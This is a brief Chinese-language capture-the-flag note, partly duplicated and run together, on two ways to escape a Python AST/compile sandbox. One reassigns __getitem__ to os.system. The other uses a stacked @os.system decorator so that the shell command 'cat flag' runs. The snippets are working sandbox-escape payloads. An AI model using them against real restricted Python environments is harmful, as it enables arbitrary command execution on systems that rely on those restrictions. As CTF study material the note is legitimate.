绕
方法一：键值查询说明
tree.__class__.__getitem__ = os.system
tree['cat flag']方法二：@函数修饰绕ast compile
f = lambda nameless: 'cat flag'
@os.system
@f
class x:passtree.__class__.__getitem__ = os.system
tree['cat flag']f = lambda nameless: 'cat flag'
@os.system
@f
class x:pass